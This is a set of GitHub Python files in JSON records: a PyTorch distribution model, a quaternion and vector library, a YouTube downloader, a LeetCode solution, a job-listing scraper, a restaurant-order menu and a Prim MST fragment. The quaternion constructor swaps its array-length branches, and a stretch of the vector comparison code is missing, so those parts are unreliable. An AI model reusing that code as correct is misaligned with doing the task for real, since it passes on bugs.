F\n\n\nclass Histogram(nn.Module):\n def __init__(self, d):\n super().__init__()\n self.d = d\n self.logits = nn.Parameter(torch.zeros(d), requires_grad=True)\n\n def loss(self, x):\n logits = self.logits.unsqueeze(0).repeat(\n x.shape[0], 1\n ) # batch_size x d\n return F.cross_entropy(logits, x.long())\n\n def get_distribution(self):\n distribution = F.softmax(self.logits, dim=0)\n return distribution.detach().cpu().numpy()\n\n\nclass MixtureOfLogistics(nn.Module):\n def __init__(self, d, n_mixture=4):\n super().__init__()\n self.d = d\n self.n_mixture = n_mixture\n\n self.pi = nn.Parameter(torch.randn(n_mixture), requires_grad=True)\n self.mu = nn.Parameter(torch.randn(n_mixture), requires_grad=True)\n self.log_sigma = nn.Parameter(\n torch.randn(n_mixture), requires_grad=True\n )\n\n def forward(self, x):\n x_rp = x.unsqueeze(1).repeat(1, self.n_mixture).float()\n pi = self.pi.unsqueeze(0)\n mu = self.mu.unsqueeze(0)\n inv_sigma = torch.exp(-self.log_sigma.unsqueeze(0))\n\n # probability dist for x in (0, d-1)\n cdf_plus = torch.sigmoid(inv_sigma * (x_rp + 0.5 - mu))\n cdf_minus = torch.sigmoid(inv_sigma * (x_rp - 0.5 - mu))\n cdf_delta = cdf_plus - cdf_minus\n\n # probability dist for x = 0: taking all value from -inf -> 0\n log_cdf_0 = torch.log(\n torch.clamp(F.sigmoid(inv_sigma * (0.5 - mu)), min=1e-12)\n )\n # probability dist for x = 0: taking all value from -inf -> 0\n log_cdf_d_1 = torch.log(\n torch.clamp(\n 1 - F.sigmoid(inv_sigma * (self.d - 1.5 - mu)), min=1e-12\n )\n )\n\n log_cdf_delta = torch.where(\n x_rp < 1e-3,\n log_cdf_0,\n torch.where(\n x_rp > self.d - 1 - 1e-3,\n log_cdf_d_1,\n torch.log(torch.clamp(cdf_delta, min=1e-12)),\n ),\n )\n log_pi = F.log_softmax(self.pi, dim=0)\n log_probs = log_cdf_delta + log_pi\n log_probs = torch.logsumexp(log_probs, dim=1)\n\n return log_probs\n\n def loss(self, x):\n return -torch.mean(self(x))\n\n def get_distribution(self):\n with torch.no_grad():\n x = torch.FloatTensor(np.arange(self.d)).cuda()\n distribution = self(x).exp()\n return distribution.detach().cpu().numpy()\n\n\n","repo_name":"huyqd/generativeDL","sub_path":"generativedl/models/autoregressive/ar.py","file_name":"ar.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72535224054","text":"###########################################################\r\n# Quaternion and Vector3D data types and functions\r\n# Includes gravity and acceleration projections to IMU or world frame\r\n#\r\n# Urs Utzinger, Spring 2023\r\n# chat.openai.com\r\n###########################################################\r\n\r\nimport numpy as np\r\nimport math\r\nimport numbers\r\n\r\n###########################################################\r\n# Constants\r\n###########################################################\r\n\r\nTWOPI = 2.0 * math.pi\r\nPIHALF = math.pi / 2.0\r\nDEG2RAD = math.pi / 180.0\r\nRAD2DEG = 180.0 / math.pi\r\nEPSILON = 2.0*math.ldexp(1.0, -53)\r\n\r\nclass Quaternion():\r\n '''\r\n Quaternion Class\r\n q1 = Quaternion(1., 2., 3., 4.)\r\n q2 = Quaternion(w=5., x=6., y=7., z=8.)\r\n q3 = Quaternion(np.array([9,10,11,12]))\r\n\r\n q5 = q1 + q2\r\n q6 = q1 * q2\r\n q7 = 2 * q1\r\n \r\n q1.conjugate\r\n q1.inverse\r\n q1.normalize()\r\n q1.r33 (cosine matrix)\r\n q1.norm: length of quaternion\r\n q1.v: vector part of quaternion as Vector3D\r\n q1.q: quaternion as np.array\r\n '''\r\n def __init__(self, w=0.0, x=0.0, y=0.0, z=0.0, v=None):\r\n # allows any possible combination to be passed in\r\n if v is None:\r\n if isinstance(w, numbers.Number):\r\n self.w = w\r\n self.x = x\r\n self.y = y\r\n self.z = z\r\n elif isinstance(w, np.ndarray):\r\n if len(w) == 3:\r\n self.w=w[0]\r\n self.x=w[1]\r\n self.y=w[2]\r\n self.z=w[3]\r\n elif len(w)==4:\r\n self.w = 0.\r\n self.x = w[0]\r\n self.y = w[1]\r\n self.z = w[2] \r\n elif isinstance(w, Vector3D):\r\n self.w = 0.\r\n self.x = w.x\r\n self.y = w.y\r\n self.z = w.z\r\n elif isinstance(w, Quaternion):\r\n self.w = w.w\r\n self.x = w.x\r\n self.y = w.y\r\n self.z = w.z\r\n elif isinstance(v, Vector3D):\r\n self.w=0.\r\n self.x=v.x\r\n self.y=v.y\r\n self.z=v.z\r\n elif isinstance(v, np.ndarray):\r\n if len(v) == 3:\r\n self.w=0.\r\n self.x=v[0]\r\n self.y=v[1]\r\n self.z=v[2]\r\n elif len(v)==4:\r\n self.w=v[0]\r\n self.x=v[1]\r\n self.y=v[2]\r\n self.z=v[3]\r\n elif isinstance(v, Quaternion):\r\n self.w=v.w\r\n self.x=v.x\r\n self.y=v.y\r\n self.z=v.z\r\n \r\n def __copy__(self):\r\n return Quaternion(self.w, self.x, self.y, self.z)\r\n \r\n def __bool__(self):\r\n return not self.isZero\r\n \r\n def __abs__(self):\r\n return Quaternion(abs(self.w), abs(self.x), abs(self.y), abs(self.z))\r\n \r\n def __neg__(self):\r\n return Quaternion(-self.w, -self.x, -self.y, -self.z)\r\n\r\n def __len__(self):\r\n return 4\r\n \r\n def __str__(self):\r\n return f\"Quaternion({self.w}, {self.x}, {self.y}, {self.z})\"\r\n \r\n def __repr__(self):\r\n return str(self)\r\n \r\n def __add__(self, other):\r\n '''add two quaternions or quaternion and scalar'''\r\n if isinstance(other, Quaternion):\r\n return Quaternion(self.w+other.w, self.x+other.x, self.y+other.y, self.z+other.z)\r\n elif isinstance(other, np.ndarray):\r\n return Quaternion(self.w+other[0], self.x+other[1], self.y+other[2], self.z+other[3])\r\n elif isinstance(other, numbers.Number):\r\n return Quaternion(self.w+other, self.x+other, self.y+other, self.z+other)\r\n else:\r\n raise TypeError(\"Unsupported operand type for +: Quaternion and {}\".format(type(other)))\r\n \r\n def __sub__(self, other):\r\n '''subtract two quaternions or quaternion and scalar'''\r\n if isinstance(other, Quaternion):\r\n return Quaternion(self.w-other.w, self.x-other.x, self.y-other.y, self.z-other.z)\r\n elif isinstance(other, np.ndarray):\r\n return Quaternion(self.w-other[0], self.x-other[1], self.y-other[2], self.z-other[3])\r\n elif isinstance(other, numbers.Number):\r\n return Quaternion(self.w-other, self.x-other, self.y-other, self.z-other)\r\n else:\r\n raise TypeError(\"Unsupported operand type for -: Quaternion and {}\".format(type(other)))\r\n\r\n def __mul__(self, other):\r\n '''multiply two quaternions or quaternion and vector'''\r\n if isinstance(other, Quaternion):\r\n w = (self.w * other.w) - (self.x * other.x) - (self.y * other.y) - (self.z * other.z)\r\n x = (self.w * other.x) + (self.x * other.w) + (self.y * other.z) - (self.z * other.y)\r\n y = (self.w * other.y) - (self.x * other.z) + (self.y * other.w) + (self.z * other.x)\r\n z = (self.w * other.z) + (self.x * other.y) - (self.y * other.x) + (self.z * other.w)\r\n return Quaternion(w, x, y, z)\r\n elif isinstance(other, Vector3D):\r\n '''\r\n multiply quaternion with vector\r\n vector is converted to quaternion with [0,vector]\r\n then computed the same as above with other.w=0\r\n '''\r\n w = - (self.x * other.x) - (self.y * other.y) - (self.z * other.z)\r\n x = self.w * other.x + self.y * other.z - self.z * other.y\r\n y = self.w * other.y - self.x * other.z + self.z * other.x\r\n z = self.w * other.z + self.x * other.y - self.y * other.x\r\n return Quaternion(w, x, y, z)\r\n elif isinstance(other, numbers.Number):\r\n '''multiply with scalar'''\r\n return Quaternion(self.w*other,self.x*other,self.y*other,self.z*other)\r\n else:\r\n raise TypeError(\"Unsupported operand type\")\r\n \r\n def __rmul__(self, other):\r\n return self.__mul__(other)\r\n \r\n def __truediv__(self, other):\r\n if isinstance(other, numbers.Number):\r\n return Quaternion(self.w/other,self.x/other,self.y/other,self.z/other)\r\n else:\r\n raise TypeError(\"Unsupported operand type\")\r\n\r\n def __floordiv__(self, other):\r\n if isinstance(other, numbers.Number):\r\n return Quaternion(self.w//other,self.x//other,self.y//other,self.z//other)\r\n else:\r\n raise TypeError(\"Unsupported operand type\")\r\n\r\n def __eq__(self, other):\r\n '''are the two quaternions equal'''\r\n return (self.w==other.w and self.x==other.x and self.y==other.y and self.z==other.z)\r\n\r\n def normalize(self):\r\n mag = self.norm\r\n if mag != 0:\r\n self.w = self.w/mag\r\n self.x = self.x/mag\r\n self.y = self.y/mag\r\n self.z = self.z/mag\r\n \r\n @property\r\n def v(self) -> np.ndarray:\r\n '''extract the vector component of the quaternion'''\r\n # return np.array([self.x,self.y,self.z])\r\n return Vector3D(self.x,self.y,self.z)\r\n\r\n @property\r\n def q(self) -> np.ndarray:\r\n '''convert the quaternion to np.array'''\r\n # return np.array([self.x,self.y,self.z])\r\n return np.array([self.w,self.x,self.y,self.z])\r\n\r\n @property\r\n def conjugate(self):\r\n '''conjugate of quaternion'''\r\n return Quaternion(self.w, -self.x, -self.y, -self.z)\r\n \r\n @property\r\n def norm(self) -> float:\r\n '''length of quaternion'''\r\n return math.sqrt(self.w*self.w + self.x*self.x + self.y*self.y + self.z*self.z)\r\n \r\n @property\r\n def inverse(self):\r\n '''inverse of quaternion'''\r\n return self.conjugate / self.norm\r\n\r\n @property\r\n def r33(self) -> np.ndarray:\r\n '''\r\n quaternion to 3x3 rotation matrix \r\n simplifications because ww+xx+yy+zz = 1\r\n \r\n - https://www.euclideanspace.com/maths/geometry/rotations/conversons/quaternionToMatrix/index.htm\r\n - pypi.org AHRS\r\n - pypi.org quaternionic\r\n - chat.openai.com\r\n\r\n Assuming the quaternion R rotates a vector v according to\r\n\r\n v' = R * v * R⁻¹,\r\n\r\n we can also express this rotation in terms of a 3x3 matrix ℛ such that\r\n\r\n v' = ℛ * v.\r\n\r\n This function returns that matrix.\r\n '''\r\n\r\n # Normalize quaternion\r\n # self.normalize()\r\n \r\n # Compute rotation matrix elements\r\n xx = self.x * self.x\r\n xy = self.x * self.y\r\n xz = self.x * self.z\r\n xw = self.x * self.w\r\n yy = self.y * self.y\r\n yz = self.y * self.z\r\n yw = self.y * self.w\r\n zz = self.z * self.z\r\n zw = self.z * self.w\r\n\r\n # Construct the rotation matrix\r\n return np.array([\r\n [1.0 - 2.*(yy + zz), 2.*(xy - zw), 2.*(xz + yw)],\r\n [ 2.*(xy + zw), 1.0 - 2.*(xx + zz), 2.*(yz - xw)],\r\n [ 2.*(xz - yw), 2.*(yz + xw), 1.0 - 2.*(xx + yy)]\r\n ]) \r\n \r\n @property\r\n def isZero(self) -> bool:\r\n return (abs(self.w) <= EPSILON and abs(self.x) <= EPSILON and abs(self.y) <= EPSILON and abs(self.z) <= EPSILON)\r\n \r\ndef r33toq(r33, check= False) -> Quaternion:\r\n '''\r\n Rotation Matrix to Quaternion\r\n chat.openai.com\r\n https://github.com/blender/blender/blob/756538b4a117cb51a15e848fa6170143b6aafcd8/source/blender/blenlib/intern/math_rotation.c#L272\r\n\r\n pypi.org quaternionic:\r\n \r\n Assuming an orthogonal 3x3 matrix ℛ rotates a vector v such that\r\n\r\n v' = ℛ * v,\r\n\r\n we can also express this rotation in terms of a unit quaternion R such that\r\n\r\n v' = R * v * R⁻¹,\r\n\r\n where v and v' are now considered pure-vector quaternions. This function\r\n returns that quaternion. If `rot` is not orthogonal, the \"closest\" orthogonal\r\n matrix is used; see Notes below.\r\n '''\r\n\r\n if isinstance(r33, np.ndarray):\r\n if r33.shape == (3,3):\r\n\r\n if check: \r\n det = np.linalg.det(r33)\r\n if not np.isfinite(det): r33 = np.eye(3) # Set to identity matrix if determinant is not finite\r\n elif det < 0.0: r33 = -r33 # Negate matrix if determinant is negative\r\n isOrthogonal = math.isclose(abs(det), 1.0, atol=EPSILON)\r\n else:\r\n isOrthogonal = True\r\n\r\n # NON ORTHOGONAL OPTION\r\n\r\n if not isOrthogonal:\r\n\r\n K3 = np.array([\r\n [(r33[0, 0] - r33[1, 1] - r33[2, 2]) / 3, \r\n (r33[1, 0] + r33[0, 1]) / 3, \r\n (r33[2, 0] + r33[0, 2]) / 3,\r\n (r33[1, 2] - r33[2, 1]) / 3\r\n ],\r\n [ (r33[1, 0] + r33[0, 1]) / 3, \r\n (r33[1, 1] - r33[0, 0] - r33[2, 2]) / 3, \r\n (r33[2, 1] + r33[1, 2]) / 3,\r\n (r33[2, 0] - r33[0, 2]) / 3\r\n ],\r\n [(r33[2, 0] + r33[0, 2]) / 3,\r\n (r33[2, 1] + r33[1, 2]) / 3,\r\n (r33[2, 2] - r33[0, 0] - r33[1, 1]) / 3,\r\n (r33[0, 1] - r33[1, 0]) / 3\r\n ],\r\n [(r33[1, 2] - r33[2, 1]) / 3,\r\n (r33[2, 0] - r33[0, 2]) / 3,\r\n (r33[0, 1] - r33[1, 0]) / 3,\r\n (r33[0, 0] + r33[1, 1] + r33[2, 2]) / 3\r\n ]\r\n ])\r\n\r\n eigvecs = np.linalg.eigh(K3.T)[1]\r\n res = eigvecs[:,-1]\r\n q = Quaternion(w=res[3], x=res[0], y=res[1], z=res[2])\r\n\r\n else:\r\n \r\n # ORTHONORMAL OPTION\r\n \r\n diagonals = np.array([\r\n r33[0, 0], \r\n r33[1, 1], \r\n r33[2, 2], \r\n r33[0, 0] + r33[1, 1] + r33[2, 2]\r\n ])\r\n\r\n indices = np.argmax(diagonals, axis=-1)\r\n\r\n if indices == 3:\r\n qw = 1 + r33[0,0] + r33[1,1] + r33[2,2]\r\n qx = r33[2,1] - r33[1,2]\r\n qy = r33[0,2] - r33[2,0]\r\n qz = r33[1,0] - r33[0,1]\r\n elif indices == 0:\r\n qw = r33[2,1] - r33[1,2]\r\n qx = 1 + r33[0,0] - r33[1,1] - r33[2,2]\r\n qy = r33[0,1] + r33[1,0]\r\n qz = r33[0,2] + r33[2,0]\r\n elif indices == 1:\r\n qw = r33[0,2] - r33[2,0]\r\n qx = r33[1,0] + r33[0,1]\r\n qy = 1 - r33[0,0] + r33[1,1] - r33[2,2]\r\n qz = r33[1,2] + r33[2,1]\r\n elif indices == 2:\r\n qw = r33[1,0] - r33[0,1]\r\n qx = r33[2,0] + r33[0,2]\r\n qy = r33[2,1] + r33[1,2]\r\n qz = 1 - r33[0,0] - r33[1,1] + r33[2,2]\r\n\r\n q = Quaternion(qw, qx, qy, qz)\r\n\r\n else:\r\n raise TypeError(\"Unsupported operand type for m33toq: {}\".format(type(r33)))\r\n\r\n q.normalize()\r\n\r\n return q\r\n\r\n###############################################################################################\r\n\r\nclass Vector3D():\r\n '''\r\n 3D Vector Class\r\n v1 = Vector3D(1., 2., 3.)\r\n v2 = Vector3D(x=4., y=5., z=6.)\r\n v3 = Vector3D(np.array([7,8,9]))\r\n\r\n v4 = v1 + v2\r\n v5 = v1 * v2\r\n v6 = 2. * v1\r\n \r\n v1.dot(v2)\r\n v1.cross(v2)\r\n v1.normalize()\r\n v1.norm: length of vector\r\n v1.rotate(np.array[3x3])\r\n v1.v: vector as np.array\r\n v1.q: vector as quaternion with w=0.\r\n '''\r\n def __init__(self, x=0.0, y=0.0, z=0.0):\r\n if isinstance(x, numbers.Number):\r\n self.x = x\r\n self.y = y\r\n self.z = z\r\n elif isinstance(x, np.ndarray):\r\n if len(x) == 3:\r\n self.x = x[0]\r\n self.y = x[1]\r\n self.z = x[2]\r\n elif isinstance(x, Vector3D):\r\n self.x = x.x\r\n self.y = x.y\r\n self.z = x.z\r\n \r\n def __copy__(self):\r\n return Vector3D(self.x, self.y, self.z)\r\n \r\n def __bool__(self):\r\n return not self.isZero\r\n \r\n def __abs__(self):\r\n return Vector3D(abs(self.x), abs(self.y), abs(self.z))\r\n \r\n def __neg__(self):\r\n return Vector3D(-self.x, -self.y, -self.z)\r\n \r\n def __len__(self):\r\n return 3\r\n \r\n def __str__(self):\r\n return f\"Vector3D({self.x}, {self.y}, {self.z})\"\r\n\r\n def __repr__(self):\r\n return str(self)\r\n\r\n def __add__(self, other):\r\n if isinstance(other, Vector3D):\r\n return Vector3D(self.x + other.x, self.y + other.y, self.z + other.z)\r\n elif isinstance(other, numbers.Number):\r\n return Vector3D(self.x + other, self.y + other, self.z + other)\r\n else:\r\n raise TypeError(\"Unsupported operand type for +: Vector3D and {}\".format(type(other)))\r\n\r\n def __sub__(self, other):\r\n if isinstance(other, Vector3D):\r\n return Vector3D(self.x - other.x, self.y - other.y, self.z - other.z)\r\n elif isinstance(other, numbers.Number):\r\n return Vector3D(self.x - other, self.y - other, self.z - other)\r\n else:\r\n raise TypeError(\"Unsupported operand type for -: Vector3D and {}\".format(type(other)))\r\n\r\n def __mul__(self, other):\r\n if isinstance(other, numbers.Number):\r\n return Vector3D(self.x * other, self.y * other, self.z * other)\r\n elif isinstance(other, Vector3D):\r\n return Vector3D(self.x * other.x, self.y * other.y, self.z * other.z) \r\n elif isinstance(other, np.ndarray):\r\n shape = other.shape\r\n if len(shape) == 1:\r\n if shape[0] == 3:\r\n return Vector3D(self.x * other[0], self.y * other[1], self.z * other[2])\r\n elif shape[0] == 4:\r\n '''\r\n other is quaternion of w,x,y,z \r\n convert vector to quaternion [0,x,y,z]\r\n '''\r\n # x1, y1, z1 = self.v # w1 is 0, dont use\r\n other_w, other_x, other_y, other_z = other\r\n w = - self.x * other_x - self.y * other_y - self.z * other_z\r\n x = self.x * other_w + self.y * other_z - self.z * other_y\r\n y = - self.x * other_z + self.y * other_w + self.z * other_x\r\n z = self.x * other_y - self.y * other_x + self.z * other_w\r\n return Quaternion(w, x, y, z)\r\n elif shape == (3,3):\r\n '''Matrix Multiplication'''\r\n rotated_vector = np.dot(other, np.array([self.x,self.y,self.z]))\r\n # rotated_vector = np.dot(np.array([self.x,self.y,self.z]),other)\r\n return(Vector3D(x=rotated_vector[0], y=rotated_vector[1], z=rotated_vector[2]))\r\n \r\n elif isinstance(other, Quaternion):\r\n w = - self.x * other.x - self.y * other.y - self.z * other.z\r\n x = self.x * other.w + self.y * other.z - self.z * other.y\r\n y = - self.x * other.z + self.y * other.w + self.z * other.x\r\n z = self.x * other.y - self.y * other.x + self.z * other.w\r\n return Quaternion(w, x, y, z)\r\n else:\r\n raise TypeError(\"Unsupported operand type for *: Vector3D and {}\".format(type(other)))\r\n\r\n def __rmul__(self, other):\r\n return self.__mul__(other)\r\n\r\n def __truediv__(self, other):\r\n if isinstance(other, numbers.Number):\r\n return Vector3D(self.x / other, self.y / other, self.z / other)\r\n elif isinstance(other, Vector3D):\r\n return Vector3D(self.x / other.x, self.y / other.y, self.z / other.z)\r\n else:\r\n raise ValueError(\"Unsupported operand type for /: {}\".format(other))\r\n\r\n def __floordiv__(self, other):\r\n if isinstance(other, numbers.Number):\r\n return Vector3D(self.x // other, self.y // other, self.z // other)\r\n elif isinstance(other, Vector3D):\r\n return Vector3D(self.x // other.x, self.y // other.y, self.z // other.z)\r\n else:\r\n raise ValueError(\"Unsupported operand type for //: {}\".format(other))\r\n\r\n def __pow__(self, other):\r\n '''potentiate'''\r\n if isinstance(other, numbers.Number):\r\n return Vector3D(self.x ** other, self.y ** other, self.z ** other)\r\n elif isinstance(other, Vector3D):\r\n return Vector3D(self.x ** other.x, self.y ** other.y, self.z ** other.z)\r\n else:\r\n raise TypeError(\"Unsupported operand type for **: Vector3D and {}\".format(type(other)))\r\n\r\n def __eq__(self, other):\r\n '''are the two vectors equal'''\r\n if isinstance(other, numbers.Number):\r\n return Vector3D(self.x == other, self.y == other, self.z == other)\r\n elif isinstance(other, Vector3D):\r\n return Vector3D(self.x==other.x, self.y==other.y, self.z==other.z)\r\n else:\r\n raise TypeError(\"Unsupported operand type for ==: Vector3D and {}\".format(type(other)))\r\n\r\n def __lt__(self, other):\r\n '''is vector smaller than other'''\r\n if isinstance(other, numbers.Number):\r\n return Vector3D(self.x < other, self.y < other, self.z < other)\r\n elif isinstance(other, Vector3D):\r\n return Vector3D(x=self.x < other.x, y=self.y float:\r\n if isinstance(other, Vector3D):\r\n return self.x * other.x + self.y * other.y + self.z * other.z\r\n if isinstance(other, np.ndarray):\r\n if len(other) == 3:\r\n return self.x * other[0] + self.y * other[1] + self.z * other[2]\r\n else:\r\n raise TypeError(\"Unsupported operand type for dot product: nd.array length {}\".format(len(other)))\r\n else:\r\n raise TypeError(\"Unsupported operand type for dot product: Vector3D and {}\".format(type(other)))\r\n\r\n def cross(self, other):\r\n '''\r\n u × v = [u2v3 - u3v2, u3v1 - u1v3, u1v2 - u2v1]\r\n x = u2v3 - u3v2\r\n y = u3v1 - u1v3\r\n z = u1v2 - u2v1\r\n '''\r\n if isinstance(other, Vector3D):\r\n x = (self.y * other.z) - (self.z * other.y)\r\n y = (self.z * other.x) - (self.x * other.z)\r\n z = (self.x * other.y) - (self.y * other.x)\r\n return Vector3D(x, y, z)\r\n else:\r\n raise TypeError(\"Unsupported operand type for cross product: Vector3D and {}\".format(type(other)))\r\n\r\n def rotate(self, other):\r\n if isinstance(other, np.ndarray):\r\n if other.shape == (3,3):\r\n rotated_vector = np.dot(other, np.array([self.x,self.y,self.z]))\r\n # rotated_vector = np.dot(np.array([self.x,self.y,self.z]),other)\r\n return(Vector3D(x=rotated_vector[0], y=rotated_vector[1], z=rotated_vector[2]))\r\n else:\r\n raise TypeError(\"Unsupported operand type for cross product: Vector3D and nd.array of shape {}\".format(other.shape))\r\n else:\r\n raise TypeError(\"Unsupported operand type for cross product: Vector3D and {}\".format(type(other)))\r\n\r\n @property\r\n def q(self):\r\n '''return np array with rotation 0 and vector x,y,z'''\r\n return Quaternion(w=0, x=self.x, y=self.y, z=self.z)\r\n\r\n @property\r\n def v(self) -> np.ndarray:\r\n '''returns np array of vector'''\r\n return np.array([self.x,self.y,self.z])\r\n @v.setter\r\n def v(self, val):\r\n '''set vector'''\r\n if isinstance(val, (list, tuple, np.ndarray)):\r\n self.x = val[0]\r\n self.y = val[1]\r\n self.z = val[2]\r\n elif isinstance(val, (int,float)):\r\n self.x = val\r\n self.y = val\r\n self.z = val \r\n else:\r\n raise TypeError(\"Unsupported operand type for cross product: Vector3D and {}\".format(type(val)))\r\n \r\n @property\r\n def norm(self) -> float:\r\n return math.sqrt(self.x*self.x + self.y*self.y + self.z*self.z)\r\n\r\n @property\r\n def isZero(self) -> bool:\r\n return (abs(self.x) <= EPSILON and abs(self.y) <= EPSILON and abs(self.z) <= EPSILON)\r\n\r\n","repo_name":"uutzinger/pyIMU","sub_path":"pyIMU/quaternion.py","file_name":"quaternion.py","file_ext":"py","file_size_in_byte":24141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4591203710","text":"from pytube import YouTube\nfrom moviepy.editor import VideoFileClip\n\n\nhd1080 = 17\nhd720 = 22\nhd360 = 18\n\n\ndef highest(url):\n yt = YouTube(url)\n stream = yt.streams.get_by_itag(hd1080)\n stream.download()\n filename = stream.default_filename\n return filename\n\ndef norm(url):\n yt = YouTube(url)\n stream = yt.streams.get_by_itag(hd720)\n stream.download()\n filename = stream.default_filename\n # return filename\n\ndef second(url):\n yt = YouTube(url)\n stream = yt.streams.get_by_itag(hd360)\n stream.download()\n global filename\n filename = stream.default_filename\n # print(filename)\n\n\ndef get_audio(url):\n yt = YouTube(url)\n stream = yt.streams.get_by_itag(18)\n stream.download()\n filename = stream.default_filename\n clip = VideoFileClip(filename)\n clip.audio.write_audiofile(filename[:-4] + \".mp3\")\n endfilename = filename[:-4] + 'mp3'\n clip.close()\n # return endfilename\n\n\n# highest('https://www.youtube.com/watch?v=o0dj26U_TCo')\n\n# import pytube\n\n# a = pytube.YouTube('https://www.youtube.com/watch?v=Ypi-58aCkfA').streams\n\n# for i in a:\n # print(i)\n","repo_name":"khamrayevdev/youtubedownloaderbot","sub_path":"downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30638446810","text":"\"\"\"\nSolution for 81. Search in Rotated Sorted Array II\nhttps://leetcode.com/problems/search-in-rotated-sorted-array-ii/\n\"\"\"\nfrom typing import List\n\nclass Solution:\n \"\"\"\n Runtime: 48 ms, faster than 96.66% of Python3 online submissions for Search in Rotated Sorted Array II.\n Memory Usage: 13 MB, less than 100.00% of Python3 online submissions for Search in Rotated Sorted Array II.\n \"\"\"\n def search(self, nums: List[int], target: int) -> bool:\n \"\"\"\n Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand.\n\n (i.e., [0,0,1,2,2,5,6] might become [2,5,6,0,0,1,2]).\n\n You are given a target value to search. If found in the array return true, otherwise return false.\n\n Example 1:\n\n Input: nums = [2,5,6,0,0,1,2], target = 0\n Output: true\n Example 2:\n\n Input: nums = [2,5,6,0,0,1,2], target = 3\n Output: false\n Follow up:\n\n This is a follow up problem to Search in Rotated Sorted Array, where nums may contain duplicates.\n Would this affect the run-time complexity? How and why?\n\n Args:\n nums:\n target:\n\n Returns:\n\n \"\"\"\n return self.logn_solution(nums, target)\n\n def linear_solution(self, nums: List[int], target: int) -> bool:\n \"\"\"\n A linear solution that runs in O(N) in time and O(1) in space\n\n Args:\n nums:\n target:\n\n Returns:\n\n \"\"\"\n return target in nums\n\n def logn_solution(self, nums: List[int], target: int) -> bool:\n \"\"\"\n A logn solution that runs in O(logN) in time and O(1) in space\n\n Args:\n nums:\n target:\n\n Returns:\n\n \"\"\"\n left, right = 0, len(nums) - 1\n while left <= right:\n mid = (left + right) // 2\n if nums[mid] == target:\n return True\n elif nums[left] == nums[mid] == nums[right]:\n left, right = left + 1, right - 1\n elif nums[mid] >= nums[left]:\n if nums[left] <= target <= nums[mid]:\n right = mid - 1\n else:\n left = mid + 1\n else:\n if nums[mid] <= target <= nums[right]:\n left = mid + 1\n else:\n right = mid - 1\n return False","repo_name":"KKosukeee/CodingQuestions","sub_path":"LeetCode/81_search_in_rotated_sorted_array_II.py","file_name":"81_search_in_rotated_sorted_array_II.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40686788484","text":"import requests\nimport bs4 as bs\nimport csv\nfrom datetime import datetime\n\nwhile True:\n job = input('Isi Job :')\n if job != '':\n print('searcing job :',job)\n break\n\nurl = 'https://www.karir.com/search?q={}&page='.format(job)\nnow = datetime.now()\ndt_string = now.strftime(\"%H-%M-%S\")\ndatas = []\nfor page in range(1, 35):\n print('retrive data ', job)\n source = requests.get(url+str(page))\n soup = bs.BeautifulSoup(source.text,'html.parser')\n items = soup.findAll('div','row opportunity-box')\n for it in items:\n name = it.find('h4','tdd-function-name --semi-bold --inherit').text\n pt = it.find('div', 'tdd-company-name h8 --semi-bold').text\n lok = it.find('span', 'tdd-location').text\n exp = it.find('span', 'tdd-experience').text\n gaji = it.find('span', 'tdd-salary').text\n datas.append([name,pt,lok,exp,gaji])\n\nbody = ['Nama','Perusahaan', 'Lokasi', 'Pengalaman','Upah']\n\nwriter = csv.writer(open('results/{}-{}.csv'.format(job,dt_string),'w',newline=''))\nwriter.writerow(body)\n\nfor d in datas:writer.writerow(d)","repo_name":"AhmadFaozan/scrappingdata-karircom","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12480010521","text":"from PyInquirer import style_from_dict, prompt, Token\nfrom client.api.commande_Client import CommandeAppliClient\n\nclass Del_menu:\n def __init__(self) -> None:\n self.style = style_from_dict({\n Token.Separator : '#fff', #white\n Token.QuestionMark : '#000', #black\n Token.Selected : '#00BFFF', #sky blue\n Token.Pointer : '#fff', #white\n Token.Instruction : '#fff', #white\n Token.Answer : '#008000 bold', #green\n Token.Question : '#FF7F50', #shade of orange\n })\n def del_menu(self,list_id_resto, list_resto, info_client, list_menu,idr,commande):\n nom_menu_commande = []\n nom_menu_commande_bis = []\n con = CommandeAppliClient().consult_content(commande['username'],commande['id_restaurant'],commande['date'],commande[\"contenu\"])\n\n for i in range(len(con)) : \n if(con[i][0]==\"nom\") :\n nom_menu_commande.append(con[i][1] + \" \" + str(con[i+2][1]) + \" €\")\n nom_menu_commande_bis.append(con[i][1])\n \n nom_menu_commande.append(\"Retour\")\n elements = [\n {\n 'type' : 'list',\n 'name' : 'capital',\n 'message' : '',\n 'choices' : nom_menu_commande\n }\n ]\n\n list_choix = prompt(elements, style=self.style)\n choix = list_choix[\"capital\"]\n\n if(choix=='Retour'):\n from client.views.view_order import Display_content_order\n return Display_content_order().create_order(list_id_resto, list_resto, info_client, list_menu,idr,commande)\n else :\n menu_a_suppr = nom_menu_commande_bis[nom_menu_commande.index(choix)]\n print(menu_a_suppr)\n \n c =CommandeAppliClient.del_menu(menu_a_suppr,commande['username'],commande['id_restaurant'],commande['date'],commande[\"contenu\"])\n print(\"Le menu \" + menu_a_suppr + \" a bien été supprimé de votre commande.\")\n from client.views.view_order import Display_content_order\n return Display_content_order().create_order(list_id_resto,list_resto,info_client,list_menu,idr,c)\n \n ","repo_name":"lk34000/EnsaEats","sub_path":"client/views/del_menu.py","file_name":"del_menu.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27175851820","text":"import networkx as nx\nimport matplotlib.pyplot as plt\n\ndef prim_mst(graph, display_steps=True):\n mst = nx.Graph()\n start_node = list(graph.nodes())[0]\n visited = {start_node}\n edges = list(graph.edges(data=True))\n edges.sort(key=lambda x: x[2]['weight'])\n\n while len(visited) < len(graph.nodes):\n possible_edges = [edge for edge in edges if edge[0] in visited and edge[1] not in visited]\n if not possible_edges:\n break\n best_edge = possible_edges[0]\n node1, node2, weight = best_edge\n 